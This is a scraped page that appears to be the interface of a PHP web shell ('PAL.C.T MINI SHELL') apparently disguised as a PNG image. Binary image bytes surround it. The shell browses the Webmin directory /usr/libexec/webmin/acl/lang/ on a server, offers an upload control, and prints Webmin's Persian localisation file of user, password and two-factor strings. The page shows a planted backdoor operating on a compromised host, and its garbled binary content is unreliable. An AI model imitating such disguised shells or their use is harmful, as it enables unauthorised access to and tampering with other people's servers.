php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/fa.auto

index_screate=یک کاربر ایمن جدید ایجاد کنید.
index_twofactor=احراز هویت دو عاملی
index_joingroup=افزودن به گروه:
index_eulist=Failed to list users : $1
index_eglist=Failed to list groups : $1

edit_title3=کاربر وبمین ایمن ایجاد کنید
edit_readonly=This Webmin user should not be edited as it is managed by the $1 module. <a href='$2'>Click here</a> to bypass this warning and edit the user anyway - but beware that any manual changes may be over-written!
edit_cloneof=کلونینگ کاربر وبمین
edit_real=اسم واقعی
edit_passlocked=Password has not been changed for $1 days - account locked!
edit_passmax=Password has not been changed for $1 days - must be changed at next login
edit_passold=Password was last changed $1 days ago
edit_passtoday=گذرواژه کمتر از یک روز قبل تغییر کرده است
edit_twofactor=نوع احراز هویت دو عاملی
edit_twofactorprov=Using provider $1 with ID $2
edit_twofactorcancel=نیاز به تأیید اعتبار دو عاملی را حذف کنید
edit_twofactornone=هنوز هیچ راه اندازی نشده است
edit_twofactoradd=دو عامل را برای کاربر فعال کنید
edit_logout=زمان خروج از عدم فعالیت
edit_mins=دقایق
edit_chars=نامه ها
edit_minsize=حداقل طول رمز عبور
edit_nochange=روزهای تغییر رمز عبور را اجرا می کنید؟
edit_egone=کاربر انتخاب شده دیگر وجود ندارد!
edit_overlay=پوشش شخصی موضوع
edit_overlayglobal=هیچ یک - از پیش فرض های موضوعی استفاده نکنید
edit_global=مجوز برای همه ماژول ها
edit_templock=به طور موقت قفل شده است
edit_temppass=تغییر نیرو در ورود بعدی
edit_days=روزهای مجاز هفته
edit_alldays=هر روز
edit_seldays=فقط روزهای منتخب..
edit_hours=بارهای مجاز روز
edit_allhours=هر زمان
edit_selhours=From $1:$2 to $3:$4
edit_ui=گزینه های رابط کاربر
edit_security=امنیت و گزینه ها را محدود می کند
edit_mods=ماژول های موجود در وبمین
edit_modsg=ماژول های موجود در وبمین (علاوه بر برنامه های گروه)
edit_proto=نوع ذخیره سازی
edit_proto_mysql=پایگاه داده MySQL
edit_proto_postgresql=پایگاه داده PostgreSQL
edit_proto_ldap=سرور LDAP
edit_proto_=پرونده های محلی
edit_safe=سطح امتیاز
edit_safe0=بدون محدودیت
edit_safe1=فقط ماژول های ایمن
edit_unsafe=تنظیم مجدد در نامحدود

save_eunixname=The username '$1' is not a Unix user, and so cannot be used in safe mode
save_eoverlay=روکش موضوع نمی تواند انتخاب شود مگر اینکه موضوع باشد
save_epass=Password is not valid : $1
save_elogouttime=زمان خروج از عدم فعالیت یا عدم عددی نیست
save_eminsize=حداقل طول رمز عبور وجود ندارد یا غیر عددی است
save_edays=هیچ روز اجازه انتخاب وجود ندارد
save_ehours=بارهای نامعتبر یا نامعتبر است
save_ehours2=زمان شروع اجازه باید قبل از پایان باشد
save_etemp=The option to force a password change at next login cannot be used unless <a href='$1'>prompting users to enter new passwords</a> is enabled

delete_eanonuser=این کاربر برای دسترسی به ماژول ناشناس استفاده می شود

cert_etempdir=پرونده گواهی نامعتبر است

acl_egroup=شما مجاز به ویرایش ACL های گروهی نیستید
acl_times=آیا می توان بار ورود به سیستم مجاز را تغییر داد؟
acl_pass=آیا می توانید محدودیت های رمز عبور را تغییر دهید؟
acl_sql=آیا می توان پایگاه داده کاربر و گروه را پیکربندی کرد؟

log_delete_users=Deleted $1 Webmin users
log_delete_groups=Deleted $1 Webmin groups
log_joingroup=Added $1 Webmin users to group $2
log_pass=محدودیت های رمز عبور تغییر کرده است
log_unix=احراز هویت کاربر یونیکس تغییر یافته است
log_sync=همگام سازی کاربر یونیکس تغییر کرده است
log_sql=بانک اطلاعاتی کاربر و گروه تغییر یافت
log_twofactor=Enrolled user $1 with two-factor provider $2
log_onefactor=Dis-enrolled user $1 for two-factor authentication

gedit_desc=توضیحات گروه
gedit_egone=گروه منتخب دیگر وجود ندارد!

gsave_edesc=توضیحات نامعتبر - کاراکتر مجاز نیست

convert_sync2=همگام سازی رمز عبور با کاربر یونیکس در آینده؟
convert_user=کاربر یونیکس
convert_action=اقدامی انجام شد
convert_done=$1 users converted, $2 invalid, $3 already exist, $4 excluded.
convert_users=کاربران برای تبدیل

sync_when=چه موقع همگام سازی
sync_modify=با تغییر نام کاربر یونیکس ، به کاربر مطابق وبمین تغییر نام دهید.

unix_err=ذخیره احراز هویت یونیکس انجام نشد
unix_sel=به کاربران Unix که در زیر ذکر شده اجازه دهید وارد شوید..
unix_mode=اجازه
unix_mall=تمام کاربران
unix_group=اعضای گروه..
unix_who=کاربر یا گروه
unix_to=به عنوان کاربر وبمین
unix_restrict2=محدودیت های اضافی
unix_ewhogroup=Missing group to allow in row $1
unix_ewhouser=Missing user to allow in row $1
unix_enone=هیچ کاربر یا گروه Unix برای ورود مجاز نیستند
unix_same=&lt;همان کاربر یا گروه&gt;
unix_sudo=به کاربرانی که می توانند کلیه دستورات را از طریق <tt>sudo</tt> اجرا کنند ، به عنوان <tt>root</tt> وارد شوید
unix_pamany=Treat logins that only pass PAM validation as $1
unix_esudo=The $1 command is not installed
unix_esudomod=The Perl module $1 needed for <tt>sudo</tt> authentication is not installed
unix_header=تنظیمات تأیید اعتبار کاربر یونیکس
unix_utable=کاربران مجاز Unix

sessions_host=آدرس آی پی
sessions_actions=اقدامات..
sessions_all=تمام جلسات..
sessions_logouts=همچنین جلسات ورود به سیستم را نشان دهید..
sessions_state=دولت
sessions_this=این ورود
sessions_in=وارد شده
sessions_out=خارج شد
sessions_kill=قطع شدن..

logins_title=ورود به وب اخیر

rbac_ecpan=You do not have access to Webmin's Perl Modules page in order to install the necessary $1 module for RBAC integration.

udeletes_err=کاربران حذف نشدند
udeletes_jerr=افزودن کاربران به گروه انجام نشد
udeletes_enone=هیچ یک انتخاب نشده است
udeletes_title=حذف کاربران
udeletes_rusure=Are you sure you want to delete the $1 selected users? All of their access control settings and user details will be lost.
udeletes_users=Selected users: $1
udeletes_ok=حذف کاربران
udeletes_ereadonly=یکی از کاربران انتخاب شده به عنوان غیر قابل ویرایش مشخص شده است

gdeletes_err=حذف گروه ها انجام نشد
gdeletes_title=حذف گروه ها
gdeletes_rusure=Are you sure you want to delete the $1 selected groups, and the $2 users they contain? All of their access control settings and user details will be lost.
gdeletes_users=Selected groups: $1
gdeletes_ok=حذف گروه ها

pass_title=محدودیت های رمز عبور
pass_ecannot=شما مجاز به ویرایش محدودیت های رمز عبور نیستید
pass_header=گزینه های اجرای رمز عبور وبمین
pass_minsize=حداقل طول رمز عبور
pass_nominsize=حداقل
pass_regexps=کلمات عبور عبارات منظم باید مطابقت داشته باشند
pass_regdesc=توضیحات قابل خواندن انسان برای بیان منظم
pass_maxdays=روزهای قبل باید رمزعبور تغییر کند
pass_lockdays=روزها قبل از تغییر حساب قفل رمز عبور بدون تغییر
pass_nomaxdays=تغییر هرگز مورد نیاز نیست
pass_nolockdays=حساب هرگز قفل نیست
pass_nouser=گذرواژه‌های حاوی نام کاربری مجاز نیست؟
pass_nodict=کلمه عبور کلمه لغت را مجاز نمی دانید؟
pass_oldblock=تعداد کلمه عبورهای قدیمی برای رد کردن
pass_nooldblock=محدودیتی برای استفاده مجدد از گذرواژه وجود ندارد
pass_days=روزها
pass_pass=کلمات عبور
pass_err=محدودیت های گذرواژه ذخیره نشد
pass_eminsize=حداقل طول رمز عبور وجود ندارد یا غیر عددی است
pass_emaxdays=تعداد روزهای قبل یا تغییر تعداد غیر عددی
pass_elockdays=تعداد روزهای قبل از قفل شدن شماره یا تعداد غیر عددی موجود است
pass_eoldblock=تعداد رمزهای قدیمی برای رد یا غیر عددی وجود ندارد

cpass_minsize=Must be at least $1 letters long
cpass_notre=با الگوی مجاز مجاز مطابقت دارد
cpass_re=با الگوی مورد نیاز مطابقت ندارد
cpass_name=دارای نام کاربری است
cpass_dict=یک کلمه فرهنگ لغت است
cpass_spellcmd=Neither the $1 or $2 commands needed to check for dictionary words is installed
cpass_old=رمزهای عبور قدیمی قابل استفاده مجدد نیستند

sql_title=بانک اطلاعاتی کاربر و گروه
sql_ecannot=شما مجاز به پیکربندی بانک اطلاعاتی کاربر و گروه نیستید
sql_header=گزینه های با پس زمینه پایگاه داده برای کاربران و گروه ها
sql_host=نام میزبان
sql_user=نام کاربری
sql_pass=کلمه عبور
sql_db=نام پایگاه داده
sql_ssl=رمزگذاری اتصال
sql_ssl0=هیچ یک
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=کلاس شی برای کاربران
sql_groupclass=کلاس شی برای گروه ها
sql_euserclass=کلاس شیء نامعتبر یا نامعتبر برای کاربران
sql_egroupclass=کلاس شی موجود نیست یا نامعتبر است
sql_none=فقط از فایلهای محلی برای ذخیره کاربران و گروه ها استفاده کنید
sql_mysql=از پایگاه داده MySQL استفاده کنید
sql_postgresql=از پایگاه داده PostgreSQL استفاده کنید
sql_ldap=از سرور LDAP استفاده کنید
sql_prefix=زیر DN ایجاد کنید
sql_addto0=کاربران جدید را به پایگاه داده انتخاب شده در بالا اضافه کنید
sql_addto1=کاربران جدید را به پرونده های محلی اضافه کنید
sql_nocache0=اتصالات حافظه نهان به پایگاه داده
sql_nocache1=برای هر جستجوی اتصال جدیدی را باز کنید
sql_emod=Missing required Perl module <tt>$1</tt>
sql_etable=Failed to query required table $1 : $2
sql_eldapdn=Base LDAP DN $1 was not found
sql_eclass=LDAP object class $1 does not exist in the server's schema
sql_err=تنظیمات بانک اطلاعاتی کاربر و گروه ذخیره نشد
sql_ehost=نام میزبان موجود نیست یا غیرقابل حل است
sql_euser=نام کاربری موجود یا نامعتبر است (هیچ فضایی مجاز نیست)
sql_epass=گذرواژه نامعتبر است (هیچ فضای مجاز نیست)
sql_edb=نام بانک اطلاعاتی نامعتبر است (هیچ فضایی مجاز نیست)
sql_eprefix=پایه DN وجود ندارد یا نامعتبر است (هیچ فضایی مجاز نیست)
sql_eprefix2=پایه DN بی اعتبار - باید مانند <tt>dc = mydomain ، dc = com</tt> باشد
sql_title2=جداول گمشده ایجاد کنید
sql_tableerr=User and group database settings are valid, but some tables needed by Webmin are missing : $1
sql_tableerr2=روی دکمه <b>ایجاد جداول</b> در زیر کلیک کنید تا آنها به طور خودکار ایجاد شوند یا SQL را به صورت دستی اجرا کنید.
sql_make=جداول ایجاد کنید
sql_title3=Miss DN را ایجاد کنید
sql_dnerr=User and group database settings are valid, but the LDAP DN needed by Webmin is missing : $1
sql_dnerr2=بر روی دکمه <b>ایجاد DN</b> زیر کلیک کنید تا به صورت خودکار ایجاد شود ، یا آن را به صورت دستی به سرور LDAP خود اضافه کنید.
sql_makedn=ایجاد DN
sql_schema=دانلود طرحواره LDAP
sql_timeout_def=استفاده از زمان قطع پیش فرض اتصال (60 ثانیه)
sql_timeout_for=اتصالات حافظه پنهان را بعد از آن ببندید
sql_timeout_secs=ثانیه
sql_etimeout=مهلت قطع اتصال پنهان باید یک عدد باشد

make_title=جداول کاربری و گروهی ایجاد کنید
make_err=جداول کاربر و گروه انجام نشد
make_exec=Executing SQL $1 ..
make_failed=.. creation failed : $1
make_done=.. انجام شده
make_still=Some problems were found even after table creation : $1

makedn_title=LDAP DN ایجاد کنید
makedn_eoc=هیچ کلاس شیء ساختاری یافت نشد!
makedn_exec=Creating parent DN $1 ..
makedn_failed=.. creation failed : $1
makedn_done=.. انجام شده
makedn_still=Some problems were found even after DN creation : $1

schema_title=دانلود طرحواره LDAP
schema_desc=قبل از اینکه وبمین بتواند از یک سرور LDAP برای ذخیره کاربران و گروه ها استفاده کند ، برای استفاده از طرح زیر باید پیکربندی شود. این به طور معمول می تواند با ذخیره کردن تعریف طرحواره در <tt>/etc/ldap/schema</tt> یا <tt>/etc/openldap/schema</tt> به عنوان <tt>webmin.schema</tt> انجام شود ، سپس پیکربندی سرور برای بارگیری آن پرونده طرحواره.
schema_download=Download schema file : <a href=$1>$1</a>

twofactor_err=تنظیم احراز هویت دو عاملی انجام نشد
twofactor_euser=کاربر وبمین شما یافت نشد!
twofactor_title=احراز هویت دو عاملی
twofactor_disable=تأیید هویت دو عاملی را غیرفعال کنید
twofactor_already=Your Webmin login already has two-factor authentication enabled with provider $1 and account ID $2.
twofactor_already2=Webmin login $3 already has two-factor authentication enabled with provider $1 and account ID $2.
twofactor_desc=This page allows you to enable two-factor authentication for your Webmin login using <a href='$2' target=_blank>$1</a>. Once active, an additional authentication token will be required when logging into Webmin.
twofactor_desc2=This page allows you to enable two-factor authentication for Webmin login $3 using <a href='$2' target=_blank>$1</a>. Once active, an additional authentication token will be required when logging into Webmin.
twofactor_enable=ثبت نام در تأیید هویت دو عاملی
twofactor_header=جزئیات ثبت نام احراز هویت دو عاملی
twofactor_enrolling=Enrolling for two-factor authentication with provider $1 ..
twofactor_failed=.. enrollment failed : $1
twofactor_done=.. complete. Your ID with this provider is <tt>$1</tt>.
twofactor_setup=Two-factor authentication has not been enabled on this system yet, but can be turned on using the <a href='$1'>Webmin Configuration</a> module.
twofactor_ebutton=هیچ دکمه ای کلیک نشد!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`